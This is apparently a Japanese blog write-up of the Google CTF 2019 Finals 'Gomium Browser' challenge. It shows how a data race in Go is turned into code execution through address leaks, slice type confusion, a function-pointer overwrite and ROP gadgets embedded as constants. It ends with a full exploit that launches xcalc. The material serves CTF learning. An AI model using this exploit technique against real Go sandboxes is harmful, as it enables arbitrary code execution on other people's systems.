CTFするぞ

CTF以外のことも書くよ

Gomium BrowserのWriteup【Google CTF 2019 Finals】

はじめに

今日サイバーセキュリティ系LT会というのに参加したのですが、そこでhamaさんが発表されていたgoの処理系がunsafeな話が面白かったので、解説されていた問題を解こうと思います。 内容はgoには標準でdata raceが存在し、任意のgoコードが実行出来る場合は(importが限られていても)シェルを取れますよという話です。 これ系の話は何も分からんのですが、hamaさんとしふくろさんにexploitの流れを教えて貰ったので何とかなるやろ的に頑張ります。

goのdata race

こんな感じで(goのdata raceに関する)PoCが上がっています。 今回はこれを使って電卓を立ち上げます。

問題概要

go製ブラウザもどきのソースコードが渡されます。 読むと、URLスキームとしてhttps, gomium, fileが対応しており、fileを使ってHTMLっぽいのを渡せます。 HTMLっぽいのというのは、タグはほぼ無視されてinnerHTMLがそのまま出力されるという雑な処理が書かれているからです。 ただ、scriptとして"goscript"が対応しており、中ではfmtパッケージをimportできます。 そのため、こんなHTMLを渡すと

<script type="text/goscript">
  package main
  import "fmt"
  func main() {
    fmt.Println("Hello, World!")
  }
</script>

こんな出力になります。

f:id:ptr-yudai:20200112213805p:plain

exploit

アドレスリー

何事もアドレスが無いと始まらないのでアドレスリークします。 今回はfmtが許可されているのでSprintfで変数のアドレスを取ります。

func addrof(i interface{}) uint64 {
    s := fmt.Sprintf("%p", i)[2:]
    addr := uint64(0)
    for i := 0; i < len(s); i++ {
        addr *= 0x10
        c := uint8(s[i:i+1][0])
        if 0x30 <= c && c <= 0x39 {
            addr += uint64(c - uint8('0'))
        } else {
            addr += uint64(c - uint8('a') + 0xa)
        }
    }
    return addr
}

gdbで確認します。

pwndbg> x/8xg 0xc00009e000
0xc00009e000:   0x000000c0000a0000      0x0000000000000002
0xc00009e010:   0x0000000000000002      0x0000000000000000
0xc00009e020:   0x000000c0000a0010      0x0000000000000001
0xc00009e030:   0x0000000000000001      0x0000000000000000

sliceはpointer, len, capの3つから成るので、正しそうです。ポインタには入れた整数値が入っていました。

pwndbg> x/4xg 0x000000c0000a0000
0xc0000a0000:   0x00000000deadbeef      0x00000000cafebabe
0xc0000a0010:   0x00000000fee1dead      0x000000c00009e000
pwndbg> x/4xg 0x000000c0000a0010
0xc0000a0010:   0x00000000fee1dead      0x000000c00009e000
0xc0000a0020:   0x3065393030303063      0x00000000300a3032

data race

とりあえずPoCと同じものを書いて試します。Printfで変数を使わないと変数が(最適化っぽいもので)変なところに行ってdata raceに失敗します。

func main() {
    /* data race */
    pp := uint64(0xffffffffffffffff)
    a := make([]*uint64, 2)
    b := make([]*uint64, 1)
    target := new(fptr)
    fmt.Printf("%v, %v, %v\n", a, b, target)
    confused := b
    go func() {
        for {
            confused = a
            func() {
                if i >= 0 {
                    return
                }
                fmt.Println(confused)
            }()
            confused = b
            i++
        }
    }()
    for {
        func() {
            defer func() { recover() }()
            confused[1] = &pp
        }()
        if target.f != nil {
            target.f()
        }
    }
}

動いています。

$ go run solve.go
[<nil> <nil>], [<nil>], &{<nil>}
unexpected fault address 0xffffffffffffffff
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x1 addr=0xffffffffffffffff pc=0xffffffffffffffff]

登壇者のhamaさんのPoCでは、これを使ってAAR/AAWを実現していましたが、今日はもう眠いので直接ROPします。

Bring Your Own Gadgets

goコードはもちろんコンパイルされて機械語になるので、実行可能領域に置かれます。 ということは、整数値を代入するようなコードを書いておくと、その整数値の部分をROP gadgetやshellcodeとして使えます。 今回はここにROP gadgetを書きます。

まずexecveの引数をこんな感じで用意します。これxcalc立ち上げるためには環境変数DISPLAYを用意しないとダメなんですね。(Can't open displayって言われた。)

   args := make([]uint64, 8)
    args[0] = 0x6e69622f7273752f /* /usr/bin/xcalc */
    args[1] = 0x0000636c6163782f
    args[2] = 0x3d59414c50534944 /* DISPLAY=:0 */
    args[3] = 0x000000000000303a
    args[4] = addrof(&args[0])
    args[5] = 0
    args[6] = addrof(&args[2])
    args[7] = 0

次にROP gadgetを書いておきます。

func rop_gadget() {
    var s uint64
    s = 0x050f5a5e5f5859 /* pop rcx, rax, rdi, rsi, rdx; syscall; */
    fmt.Printf("%v\n", s)
}

goはスタックに引数を詰むのでいい感じにpopしてくれます。

target.f(59, addrof(&args[0]), addrof(&args[4]), addrof(&args[6]))

実行します。

f:id:ptr-yudai:20200112231019p:plain

感動した。 gomiumのgoscriptから実行してもちゃんと電卓が立ち上がりました。

全体像

こんなんになりました。

package main

import "fmt"

var win = false
var i = 0

type fptr struct {
    f func(w uint64, x uint64, y uint64, z uint64)
}

func addrof(i interface{}) uint64 {
    s := fmt.Sprintf("%p", i)[2:]
    addr := uint64(0)
    for i := 0; i < len(s); i++ {
        addr *= 0x10
        c := uint8(s[i:i+1][0])
        if 0x30 <= c && c <= 0x39 {
            addr += uint64(c - uint8('0'))
        } else {
            addr += uint64(c - uint8('a') + 0xa)
        }
    }
    return addr
}

func rop_gadget() {
    var s uint64
    s = 0x050f5a5e5f5859 /* pop rcx, rax, rdi, rsi, rdx; ret; */
    fmt.Printf("%v\n", s)
}

func main() {
    /* prepare arguments */
    args := make([]uint64, 8)
    args[0] = 0x6e69622f7273752f /* /usr/bin/xcalc */
    args[1] = 0x0000636c6163782f
    args[2] = 0x3d59414c50534944 /* DISPLAY=:0 */
    args[3] = 0x000000000000303a
    args[4] = addrof(&args[0])
    args[5] = 0
    args[6] = addrof(&args[2])
    args[7] = 0
    fmt.Printf("filename: %x\n", addrof(&args[0]))
    fmt.Printf("argv: %x\n", addrof(&args[4]))
    fmt.Printf("envp: %x\n", addrof(&args[6]))

    /* ROP gadget */
    pp := addrof(rop_gadget) + 0x23
    fmt.Printf("ROP gadget: 0x%x\n", pp)
    fmt.Scanf("%d")
 
    /* data race */
    a := make([]*uint64, 2)
    b := make([]*uint64, 1)
    target := new(fptr)
    fmt.Printf("%v, %v, %v\n", a, b, target)
 
    confused := b
    go func() {
        for {
            confused = a
            func() {
                if i >= 0 {
                    return
                }
                fmt.Println(confused)
            }()
            confused = b
            i++
        }
    }()
    for {
        func() {
            defer func() { recover() }()
            confused[1] = &pp
        }()
        if target.f != nil {
            target.f(59, addrof(&args[0]), addrof(&args[4]), addrof(&args[6]))
        }
    }
}